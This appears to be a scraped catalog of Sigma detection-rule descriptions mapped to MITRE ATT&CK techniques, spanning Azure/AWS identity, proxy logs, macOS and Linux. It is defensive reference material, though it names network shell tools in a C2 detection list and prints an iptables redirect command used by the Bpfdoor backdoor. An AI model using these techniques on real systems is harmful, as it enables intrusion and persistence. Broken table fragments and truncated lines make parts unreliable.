Detects when a Microsoft Cloud App Security reported suspicious email forwarding rules, for example, if a user created an inbox rule that forwards a copy of all emails to an external address.

The tag is: misp-galaxy:sigma-rules="Suspicious Inbox Forwarding"

View relationships graph

Suspicious Inbox Forwarding has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-
Activity Performed by Terminated User

Detects when a Microsoft Cloud App Security reported for users whose account were terminated in Azure AD, but still perform activities in other platforms such as AWS or Salesforce. This is especially relevant for users who use another account to manage resources, since these accounts are often not terminated when a user leaves the company.

The tag is: `misp-galaxy:sigma-rules="Activity Performed by Terminated User"`
PST Export Alert Using New-ComplianceSearchAction

Alert when a user has performed an export to a search using 'New-ComplianceSearchAction' with the '-Export' flag. This detection will detect PST export even if the 'eDiscovery search or exported' alert is disabled in the O365. This rule will apply to ExchangePowerShell usage and from the cloud.

The tag is: misp-galaxy:sigma-rules="PST Export Alert Using New-ComplianceSearchAction"

View relationships graph

PST Export Alert Using New-ComplianceSearchAction has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Email Collection - T1114" with estimative-language:likelihood-probability="almost-certain"

6587
Google Cloud Kubernetes Admission Controller

Identifies when an admission controller is executed in GCP Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.

The tag is: `misp-galaxy:sigma-rules="Google Cloud Kubernetes Admission Controller"`

View relationships graph

Google Cloud Kubernetes Admission Controller has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 10568. Table References
**Potential Bucket Enumeration on AWS**

Looks for potential enumeration of AWS buckets via ListBuckets.

The tag is: `misp-galaxy:sigma-rules="Potential Bucket Enumeration on AWS"`

View relationships graph

Potential Bucket Enumeration on AWS has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Infrastructure Discovery - T1580"` with estimative-language:likelihood-probability="almost-certain"

**AWS User Login Profile Was Modified**

An attacker with the `iam:UpdateLoginProfile` permission on other users can change the password used to login to the AWS console on any user that already has a login profile setup. With this alert, it is used to detect anyone is changing password on behalf of other users.

The tag is: `misp-galaxy:sigma-rules="AWS User Login Profile Was Modified"`

View relationships graph

AWS User Login Profile Was Modified has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"` with estimative-language:likelihood-probability="almost-certain"
AWS EC2 VM Export Failure

An attempt to export an AWS EC2 instance has been detected. A VM Export might indicate an attempt to extract information from an instance.

The tag is: `misp-galaxy:sigma-rules="AWS EC2 VM Export Failure"`

View relationships graph

AWS EC2 VM Export Failure has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Data from Local System - T1005"` with `estimative-language:likelihood-probability="almost-certain"`
- related-to: `misp-galaxy:mitre-attack-pattern="Transfer Data to Cloud Account - T1537"` with `estimative-language:likelihood-probability="almost-certain"`

</tbody>
</table>

AWS ECS Task Definition That Queries The Credential Endpoint

Detects when an Elastic Container Service (ECS) Task Definition includes a command to query the credential endpoint. This can indicate a potential adversary adding a backdoor to establish persistence or escalate privileges.

The tag is: misp-galaxy:sigma-rules="AWS ECS Task Definition That Queries The Credential Endpoint"

View relationships graph

AWS ECS Task Definition That Queries The Credential Endpoint has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Implant Internal Image - T1525" with estimative-language:likelihood-probability="almost-certain"
AWS IAM S3Browser LoginProfile Creation

Detects S3 Browser utility performing reconnaissance looking for existing IAM Users without a LoginProfile defined then (when found) creating a LoginProfile.

The tag is: misp-galaxy: sigma-rules="AWS IAM S3Browser LoginProfile Creation"

View relationships graph

AWS IAM S3Browser LoginProfile Creation has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="Cloud API - T1059.009" with estimative-language: likelihood-probability="almost-certain"
- related-to: misp-galaxy: mitre-attack-pattern="Cloud Accounts - T1078.004" with estimative-language: likelihood-probability="almost-certain"

AWS GuardDuty Important Change

Detects updates of the GuardDuty list of trusted IPs, perhaps to disable security alerts against malicious IPs.

The tag is: misp-galaxy: sigma-rules="AWS GuardDuty Important Change"

View relationships graph

AWS GuardDuty Important Change has relationships with:
**AWS Attached Malicious Lambda Layer**

Detects when an user attached a Lambda layer to an existing function to override a library that is in use by the function, where their malicious code could utilize the function’s IAM role for AWS API calls. This would give an adversary access to the privileges associated with the Lambda service role that is attached to that function.

The tag is: `misp-galaxy:.sigma-rules="AWS Attached Malicious Lambda Layer"`

**AWS Route 53 Domain Transfer Lock Disabled**

Detects when a transfer lock was removed from a Route 53 domain. It is recommended to refrain from performing this action unless intending to transfer the domain to a different registrar.

The tag is: `misp-galaxy:.sigma-rules="AWS Route 53 Domain Transfer Lock Disabled"`

**View relationships graph**

AWS Route 53 Domain Transfer Lock Disabled has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"` with `estimative-language:likelihood-probability="almost-certain"`
AWS EFS Fileshare Modified or Deleted

Detects when a EFS Fileshare is modified or deleted. You can’t delete a file system that is in use. If the file system has any mount targets, the adversary must first delete them, so deletion of a mount will occur before deletion of a fileshare.

The tag is: `misp-galaxy:sigma-rules="AWS EFS Fileshare Modified or Deleted"`

Table 10579. Table References

Application Using Device Code Authentication Flow

Device code flow is an OAuth 2.0 protocol flow specifically for input constrained devices and is not used in all environments. If this type of flow is seen in the environment and not being used in an input constrained device scenario, further investigation is warranted. This can be a misconfigured application or potentially something malicious.

The tag is: misp-galaxy: sigma-rules="Application Using Device Code Authentication Flow"
Application Using Device Code Authentication Flow has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

**Account Disabled or Blocked for Sign in Attempts**

Detects when an account is disabled or blocked for sign in but tried to log in

The tag is: misp-galaxy:sigma-rules="Account Disabled or Blocked for Sign in Attempts"

**Password Spray Activity**

Indicates that a password spray attack has been successfully performed.

The tag is: misp-galaxy:sigma-rules="Password Spray Activity"
**Suspicious Inbox Manipulation Rules**

Detects suspicious rules that delete or move messages or folders are set on a user's inbox.

The tag is: `misp-galaxy:sigma-rules="Suspicious Inbox Manipulation Rules"`

**Anonymous IP Address**

Indicates sign-ins from an anonymous IP address, for example, using an anonymous browser or VPN.

The tag is: `misp-galaxy:sigma-rules="Anonymous IP Address"`
New Country

Detects sign-ins from new countries. The detection considers past activity locations to determine new and infrequent locations.

The tag is: misp-galaxy:sigma-rules="New Country"

View relationships graph

New Country has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

Table 10620. Table References

</table>

Suspicious Inbox Forwarding Identity Protection

Indicates suspicious rules such as an inbox rule that forwards a copy of all emails to an external address

The tag is: misp-galaxy:sigma-rules="Suspicious Inbox Forwarding Identity Protection"

View relationships graph

Suspicious Inbox Forwarding Identity Protection has relationships with:

• related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

Table 10621. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Atypical Travel

Identifies two sign-ins originating from geographically distant locations, where at least one of the locations may also be atypical for the user, given past behavior.

The tag is: `misp-galaxy:sigma-rules="Atypical Travel"`

View relationships graph

Atypical Travel has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"` with `estimative-language:likelihood-probability="almost-certain"`

Table 10622. Table References

<table>
<thead>
<tr>

Primary Refresh Token Access Attempt

Indicates access attempt to the PRT resource which can be used to move laterally into an organization or perform credential theft.

The tag is: `misp-galaxy:sigma-rules="Primary Refresh Token Access Attempt"`

View relationships graph

Primary Refresh Token Access Attempt has relationships with:

Table 10623. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Sign-In From Malware Infected IP

Indicates sign-ins from IP addresses infected with malware that is known to actively communicate with a bot server.

The tag is: `misp-galaxy:sigma-rules="Sign-In From Malware Infected IP"`

View relationships graph

Sign-In From Malware Infected IP has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Proxy - T1090"` with `estimative-language:likelihood-probability="almost-certain"`

Table 10624. Table References

<table>

</tr>
</tbody>
</table>
Unfamiliar Sign-In Properties

Detects sign-in with properties that are unfamiliar to the user. The detection considers past sign-in history to look for anomalous sign-ins.

The tag is: `misp-galaxy:sigma-rules="Unfamiliar Sign-In Properties"`

View relationships graph

Unfamiliar Sign-In Properties has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"` with estimative-language:likelihood-probability="almost-certain"

Malicious IP Address Sign-In Failure Rate

Indicates sign-in from a malicious IP address based on high failure rates.

The tag is: `misp-galaxy:sigma-rules="Malicious IP Address Sign-In Failure Rate"`

View relationships graph

Malicious IP Address Sign-In Failure Rate has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Proxy - T1090"` with estimative-language:likelihood-probability="almost-certain"
SAML Token Issuer Anomaly

Indicates the SAML token issuer for the associated SAML token is potentially compromised. The claims included in the token are unusual or match known attacker patterns.

The tag is: `misp-galaxy:sigma-rules="SAML Token Issuer Anomaly"`

View relationships graph

SAML Token Issuer Anomaly has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Forge Web Credentials - T1606"` with `estimative-language:likelihood-probability="almost-certain"`

Table 10628. Table References

</table>
Anomalous Token

Indicates that there are abnormal characteristics in the token such as an unusual token lifetime or a token that is played from an unfamiliar location.

The tag is: misp-galaxy:sigma-rules="Anomalous Token"

View relationships graph

Anomalous Token has relationships with:

Azure AD Threat Intelligence

Indicates user activity that is unusual for the user or consistent with known attack patterns.

The tag is: misp-galaxy:sigma-rules="Azure AD Threat Intelligence"

View relationships graph

Azure AD Threat Intelligence has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern=“Valid Accounts - T1078” with estimative-language:likelihood-probability="almost-certain"
Activity From Anonymous IP Address

Identifies that users were active from an IP address that has been identified as an anonymous proxy IP address.

The tag is: \textit{misp-galaxy:sigma-rules="Activity From Anonymous IP Address"}

View relationships graph

Activity From Anonymous IP Address has relationships with:

- related-to: \textit{misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"} with estimative-language:likelihood-probability="almost-certain"

Table 10632. Table References

</table>

Impossible Travel

Identifies user activities originating from geographically distant locations within a time period shorter than the time it takes to travel from the first location to the second.

The tag is: \textit{misp-galaxy:sigma-rules="Impossible Travel"}

View relationships graph

Impossible Travel has relationships with:

- related-to: \textit{misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078"} with estimative-language:likelihood-probability="almost-certain"
### Suspicious Browser Activity

Indicates anomalous behavior based on suspicious sign-in activity across multiple tenants from different countries in the same browser.

The tag is: `misp-galaxy:sigma-rules="Suspicious Browser Activity"`

View relationships graph

Suspicious Browser Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"

### Anomalous User Activity

Indicates that there are anomalous patterns of behavior like suspicious changes to the directory.

The tag is: `misp-galaxy:sigma-rules="Anomalous User Activity"

View relationships graph

Anomalous User Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098" with estimative-language:likelihood-probability="almost-certain"
End User Consent

Detects when an end user consents to an application

The tag is: misp-galaxy:sigma-rules="End User Consent"

View relationships graph

End User Consent has relationships with:

App Role Added

Detects when an app is assigned Azure AD roles, such as global administrator, or Azure RBAC roles, such as subscription owner.

The tag is: misp-galaxy:sigma-rules="App Role Added"

View relationships graph

App Role Added has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Additional Cloud Roles - T1098.003" with estimative-language:likelihood-probability="almost-certain"
Change to Authentication Method

Change to authentication method could be an indicator of an attacker adding an auth method to the account so they can have continued access.

The tag is: `misp-galaxy:sigma-rules="Change to Authentication Method"`

View relationships graph

Change to Authentication Method has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Account Manipulation - T1098"` with estimative-language:likelihood-probability="almost-certain"

Guest User Invited By Non Approved Inviters

Detects when a user that doesn’t have permissions to invite a guest user attempts to invite one.

The tag is: `misp-galaxy:sigma-rules="Guest User Invited By Non Approved Inviters"`

View relationships graph

Guest User Invited By Non Approved Inviters has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"` with estimative-language:likelihood-probability="almost-certain"
Temporary Access Pass Added To An Account

Detects when a temporary access pass (TAP) is added to an account. TAPs added to priv accounts should be investigated.

The tag is: `misp-galaxy:sigma-rules="Temporary Access Pass Added To An Account"`

View relationships graph

Temporary Access Pass Added To An Account has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Cloud Accounts - T1078.004"` with estimative-language:likelihood-probability="almost-certain"

Azure Kubernetes Admission Controller

Identifies when an admission controller is executed in Azure Kubernetes. A Kubernetes Admission controller intercepts, and possibly modifies, requests to the Kubernetes API server. The behavior of this admission controller is determined by an admission webhook (MutatingAdmissionWebhook or ValidatingAdmissionWebhook) that the user deploys in the cluster. An adversary can use such webhooks as the MutatingAdmissionWebhook for obtaining persistence in the cluster. For example, attackers can intercept and modify the pod creation operations in the cluster and add their malicious container to every created pod. An adversary can use the webhook ValidatingAdmissionWebhook, which could be used to obtain access credentials. An adversary could use the webhook to intercept the requests to the API server, record secrets, and other sensitive information.

The tag is: `misp-galaxy:sigma-rules="Azure Kubernetes Admission Controller"`

Azure Active Directory Hybrid Health AD FS Service Delete

This detection uses azureactivity logs (Administrative category) to identify the deletion of an Azure AD Hybrid health AD FS service instance in a tenant. A threat actor can create a new AD Health ADFS service and create a fake server to spoof AD FS signing logs. The health AD FS service can then be deleted after it is not longer needed via HTTP requests to Azure.

The tag is: misp-galaxy:sigma-rules="Azure Active Directory Hybrid Health AD FS Service Delete"

View relationships graph

Azure Active Directory Hybrid Health AD FS Service Delete has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Delete Cloud Instance - T1578.003" with estimative-language:likelihood-probability="almost-certain"

### Azure Keyvault Secrets Modified or Deleted

Identifies when secrets are modified or deleted in Azure.

The tag is: `misp-galaxy:sigma-rules="Azure Keyvault Secrets Modified or Deleted"`

View relationships graph

Azure Keyvault Secrets Modified or Deleted has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Unsecured Credentials - T1552" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001" with estimative-language:likelihood-probability="almost-certain"
Azure Kubernetes Network Policy Change

Identifies when a Azure Kubernetes network policy is modified or deleted.

The tag is: misp-galaxy:sigma-rules="Azure Kubernetes Network Policy Change"

Azure Kubernetes Service Account Modified or Deleted

Identifies when a service account is modified or deleted.

The tag is: misp-galaxy:sigma-rules="Azure Kubernetes Service Account Modified or Deleted"

View relationships graph

Azure Kubernetes Service Account Modified or Deleted has relationships with:

Nginx Core Dump

Detects a core dump of a crashing Nginx worker process, which could be a signal of a serious problem or exploitation attempts.

The tag is: **misp-galaxy: sigma-rules = “Nginx Core Dump”**

**View relationships graph**

Nginx Core Dump has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern = “Application or System Exploitation - T1499.004” with estimative-language: likelihood-probability = “almost-certain”

---

**Apache Threading Error**

Detects an issue in apache logs that reports threading related errors

The tag is: **misp-galaxy: sigma-rules = “Apache Threading Error”**

**View relationships graph**

Apache Threading Error has relationships with:

**Apache Segmentation Fault**

Detects a segmentation fault error message caused by a crashing apache worker process

The tag is: *misp-galaxy:sigma-rules=“Apache Segmentation Fault”*

View relationships graph

Apache Segmentation Fault has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Application or System Exploitation - T1499.004" with estimative-language:likelihood-probability="almost-certain"

**Windows Webshell Strings**

Detects common commands used in Windows webshells

The tag is: *misp-galaxy:sigma-rules=“Windows Webshell Strings”*

View relationships graph

Windows Webshell Strings has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003” with estimative-language:likelihood-probability="almost-certain"
JNDIExploit Pattern

Detects exploitation attempt using the JNDI-Exploit-Kit

The tag is: `misp-galaxy:sigma-rules="JNDIExploit Pattern"`

**View relationships graph**

JNDIExploit Pattern has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with `estimative-language:likelihood-probability="almost-certain"`

Malware User Agent

Detects suspicious user agent strings used by malware in proxy logs

The tag is: `misp-galaxy:sigma-rules="Malware User Agent"`

View relationships graph

Malware User Agent has relationships with:

Suspicious Network Communication With IPFS

Detects connections to interplanetary file system (IPFS) containing a user's email address which mirrors behaviours observed in recent phishing campaigns leveraging IPFS to host credential harvesting webpages.

The tag is: `misp-galaxy:sigma-rules="Suspicious Network Communication With IPFS"`

View relationships graph

Suspicious Network Communication With IPFS has relationships with:
Bitsadmin to Uncommon IP Server Address

Detects Bitsadmin connections to IP addresses instead of FQDN names

The tag is: `misp-galaxy:sigma-rules="Bitsadmin to Uncommon IP Server Address"`

View relationships graph

Bitsadmin to Uncommon IP Server Address has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197"` with estimative-language:likelihood-probability="almost-certain"

Rclone Activity via Proxy

Detects the use of rclone, a command-line program to manage files on cloud storage, via its default user-agent string

The tag is: `misp-galaxy:sigma-rules="Rclone Activity via Proxy"`

View relationships graph

Rclone Activity via Proxy has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002"` with estimative-language:likelihood-probability="almost-certain"
Potential OWASSRF Exploitation Attempt - Proxy

 Detects exploitation attempt of the OWASSRF variant targeting exchange servers. It uses the OWA endpoint to access the powershell backend endpoint.

The tag is: `misp-galaxy:sigma-rules="Potential OWASSRF Exploitation Attempt - Proxy"`

View relationships graph

Potential OWASSRF Exploitation Attempt - Proxy has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with estimative-language:likelihood-probability="almost-certain"

---

Crypto Miner User Agent

Detects suspicious user agent strings used by crypto miners in proxy logs.

The tag is: `misp-galaxy:sigma-rules="Crypto Miner User Agent"`

View relationships graph

Crypto Miner User Agent has relationships with:

Ursnif Malware Download URL Pattern

Detects download of Ursnif malware done by dropper documents.

The tag is: `misp-galaxy:sigma-rules="Ursnif Malware Download URL Pattern"`

View relationships graph

Ursnif Malware Download URL Pattern has relationships with:

Table 10748. Table References

PwnDrp Access

Detects downloads from PwnDrp web servers developed for red team testing and most likely also used for criminal activity

The tag is: `misp-galaxy:sigma-rules="PwnDrp Access"`

View relationships graph

PwnDrp Access has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="One-Way Communication - T1102.003"` with estimative-language:likelihood-probability="almost-certain"

Table 10757. Table References
CobaltStrike Malleable (OCSP) Profile

Detects Malleable (OCSP) Profile with Typo (OSCP) in URL

The tag is: `misp-galaxy:sigma-rules="CobaltStrike Malleable (OCSP) Profile"`

View relationships graph

CobaltStrike Malleable (OCSP) Profile has relationships with:

Windows PowerShell User Agent

Detects Windows PowerShell Web Access

The tag is: `misp-galaxy:sigma-rules="Windows PowerShell User Agent"`

View relationships graph

Windows PowerShell User Agent has relationships with:

Java Class Proxy Download

Detects Java class download in proxy logs, e.g. used in Log4shell exploitation attacks against Log4j.
### BabyShark Agent Pattern

Detects Baby Shark C2 Framework communication patterns

The tag is: `misp-galaxy:sigma-rules="BabyShark Agent Pattern"

View relationships graph

BabyShark Agent Pattern has relationships with:

### Hack Tool User Agent

Detects suspicious user agent strings user by hack tools in proxy logs

The tag is: `misp-galaxy:sigma-rules="Hack Tool User Agent"

View relationships graph

Hack Tool User Agent has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Brute Force - T1110"` with estimative-language:likelihood-probability="almost-certain"
**APT40 Dropbox Tool User Agent**

Detects suspicious user agent string of APT40 Dropbox tool

The tag is: `misp-galaxy:sigma-rules="APT40 Dropbox Tool User Agent"`

View relationships graph

APT40 Dropbox Tool User Agent has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002"` with estimative-language:likelihood-probability="almost-certain"

---

**Ursnif Malware C2 URL Pattern**

Detects Ursnif C2 traffic.

The tag is: `misp-galaxy:sigma-rules="Ursnif Malware C2 URL Pattern"`

View relationships graph

Ursnif Malware C2 URL Pattern has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001"` with estimative-language:likelihood-probability="almost-certain"

---

Suspicious Microsoft Office Child Process - MacOS

Detects suspicious child processes spawning from microsoft office suite applications such as word or excel. This could indicates malicious macro execution

The tag is: misp-galaxy: sigma-rules="Suspicious Microsoft Office Child Process - MacOS"

View relationships graph

Suspicious Microsoft Office Child Process - MacOS has relationships with:

- related-to: misp-galaxy: mitre-attack-pattern="AppleScript - T1059.002" with estimative-
Security Software Discovery - MacOs

Detects usage of system utilities (only grep for now) to discover security software discovery.

The tag is: `misp-galaxy:sigma-rules="Security Software Discovery - MacOs"`

OSAC Compile Run-Only Execution

Detects potential suspicious run-only executions compiled using OSAC Compile.

The tag is: `misp-galaxy:sigma-rules="OSAC Compile Run-Only Execution"`
Screen Capture - macOS

Detects attempts to use screencapture to collect macOS screenshots

The tag is: *misp-galaxy: sigma-rules=*"Screen Capture - macOS"

View relationships graph

Screen Capture - macOS has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

Clipboard Data Collection Via OSAScript

Detects possible collection of data from the clipboard via execution of the osascript binary

The tag is: *misp-galaxy: sigma-rules="Clipboard Data Collection Via OSAScript"

View relationships graph

Clipboard Data Collection Via OSAScript has relationships with:

- related-to: *misp-galaxy: mitre-attack-pattern="Clipboard Data - T1115" with estimative-language:likelihood-probability="almost-certain"

File and Directory Discovery - MacOS

Detects usage of system utilities to discover files and directories.

The tag is: misp-galaxy:.sigma-rules="File and Directory Discovery - MacOS"

View relationships graph

File and Directory Discovery - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

Table 10776. Table References

MacOS Scripting Interpreter AppleScript

Detects execution of AppleScript of the macOS scripting language AppleScript.

The tag is: misp-galaxy:sigma-rules="MacOS Scripting Interpreter AppleScript"

View relationships graph

MacOS Scripting Interpreter AppleScript has relationships with:

Potential Persistence Via PlistBuddy

Detects potential persistence activity using LaunchAgents or LaunchDaemons via the PlistBuddy utility.

The tag is: misp-galaxy:sigma-rules="Potential Persistence Via PlistBuddy"

View relationships graph

Potential Persistence Via PlistBuddy has relationships with:
Guest Account Enabled Via Sysadminctl

Detects attempts to enable the guest account using the sysadminctl utility

The tag is: `misp-galaxy:sigma-rules="Guest Account Enabled Via Sysadminctl"`

View relationships graph

Guest Account Enabled Via Sysadminctl has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Valid Accounts - T1078" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Default Accounts - T1078.001" with estimative-language:likelihood-probability="almost-certain"

Binary Padding - MacOS

Adversaries may use binary padding to add junk data and change the on-disk representation of malware. This rule detect using dd and truncate to add a junk data to file.

The tag is: `misp-galaxy:sigma-rules="Binary Padding - MacOS"`

View relationships graph

Binary Padding - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
Creation Of A Local User Account

Detects the creation of a new user account. Such accounts may be used for persistence that do not require persistent remote access tools to be deployed on the system.

The tag is: misp-galaxy:sigma-rules="Creation Of A Local User Account"

View relationships graph

Creation Of A Local User Account has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Local Account - T1136.001" with estimative-language:likelihood-probability="almost-certain"

Potential Discovery Activity Using Find - MacOS

Detects usage of "find" binary in a suspicious manner to perform discovery

The tag is: misp-galaxy:sigma-rules="Potential Discovery Activity Using Find - MacOS"

View relationships graph

Potential Discovery Activity Using Find - MacOS has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
Hidden User Creation

Detects creation of a hidden user account on macOS (UserID < 500) or with IsHidden option

The tag is: *misp-galaxy:sigma-rules*="Hidden User Creation"

View relationships graph

Hidden User Creation has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern*="Hidden Users - T1564.002" with estimative-language:likelihood-probability="almost-certain"

OMIGOD SCX RunAsProvider ExecuteShellCommand - Auditd

Rule to detect the use of the SCX RunAsProvider Invoke_ExecuteShellCommand to execute any UNIX/Linux command using the /bin/sh shell. SCXcore, started as the Microsoft Operations Manager UNIX/Linux Agent, is now used in a host of products including Microsoft Operations Manager, Microsoft Azure, and Microsoft Operations Management Suite.

The tag is: `misp-galaxy:sigma-rules="OMIGOD SCX RunAsProvider ExecuteShellCommand - Auditd"`

OMIGOD SCX RunAsProvider ExecuteShellCommand - Auditd has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Exploit Public-Facing Application - T1190"` with estimative-language:likelihood-probability="almost-certain"

</tbody>
</table>

### System Owner or User Discovery

Adversaries may use the information from System Owner/User Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

The tag is: `misp-galaxy:sigma-rules="System Owner or User Discovery"`
**Suspicious C2 Activities**

Detects suspicious activities as declared by Florian Roth in its 'Best Practice Auditd Configuration'. This includes the detection of the following commands: `wget`, `curl`, `base64`, `nc`, `netcat`, `ncat`, `ssh`, `socat`, `wireshark`, `rawshark`, `rdesktop`, `nmap`. These commands match a few techniques from the tactics "Command and Control", including not exhaustively the following; Application Layer Protocol (T1071), Non-Application Layer Protocol (T1095), Data Encoding (T1132)

The tag is: *misp-galaxy:sigma-rules="Suspicious C2 Activities"*

**Clipboard Collection with Xclip Tool - Auditd**

Detects attempts to collect data stored in the clipboard from users with the usage of xclip tool. Xclip has to be installed. Highly recommended using rule on servers, due to high usage of clipboard utilities on user workstations.

The tag is: *misp-galaxy:sigma-rules="Clipboard Collection with Xclip Tool - Auditd"*

View relationships graph

Clipboard Collection with Xclip Tool - Auditd has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115"* with estimative-language:likelihood-probability="almost-certain"

**Masquerading as Linux Crond Process**

Masquerading occurs when the name or location of an executable, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. Several different variations of this technique have been observed.

The tag is: `misp-galaxy:sigma-rules="Masquerading as Linux Crond Process"`
Masquerading as Linux Crond Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Steganography Hide Zip Information in Picture File

Detects appending of zip file to image

The tag is: misp-galaxy:sigma-rules="Steganography Hide Zip Information in Picture File"

Steganography Hide Zip Information in Picture File has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Steganography - T1027.003" with estimative-language:likelihood-probability="almost-certain"

Suspicious History File Operations - Linux

Detects commandline operations on shell history files

The tag is: misp-galaxy:sigma-rules="Suspicious History File Operations - Linux"

Suspicious History File Operations - Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bash History - T1552.003" with estimative-language:likelihood-probability="almost-certain"

**Network Sniffing - Linux**

Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.

The tag is: `misp-galaxy:sigma-rules="Network Sniffing - Linux"`

**View relationships graph**

Network Sniffing - Linux has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Network Sniffing - T1040"` with estimative-language:likelihood-probability="almost-certain"

---

**Bpfdoor TCP Ports Redirect**

All TCP traffic on particular port from attacker is routed to different port. ex. `/sbin/iptables -t nat -D PREROUTING -p tcp -s 192.168.1.1 --dport 22 -j REDIRECT --to-ports 42392` The traffic looks like encrypted SSH communications going to TCP port 22, but in reality is being directed to the shell port once it hits the iptables rule for the attacker host only.

The tag is: *misp-galaxy: sigma-rules="Bpfdoor TCP Ports Redirect"*

---

**Program Executions in Suspicious Folders**

Detects program executions in suspicious non-program folders related to malware or hacking activity

The tag is: *misp-galaxy: sigma-rules="Program Executions in Suspicious Folders"*
• related-to: misp-galaxy:mitre-attack-pattern="Develop Capabilities - T1587" with estimative-language:likelihood-probability="almost-certain"

Scheduled Task/Job At

Detects the use of at/atd which are utilities that are used to schedule tasks. They are often abused by adversaries to maintain persistence or to perform task scheduling for initial or recurring execution of malicious code

The tag is: `misp-galaxy:sigma-rules="Scheduled Task/Job At"`

View relationships graph

Scheduled Task/Job At has relationships with:
Print History File Contents

Detects events in which someone prints the contents of history files to the commandline or redirects it to a file for reconnaissance

The tag is: `misp-galaxy:sigma-rules="Print History File Contents"`

View relationships graph

Print History File Contents has relationships with:

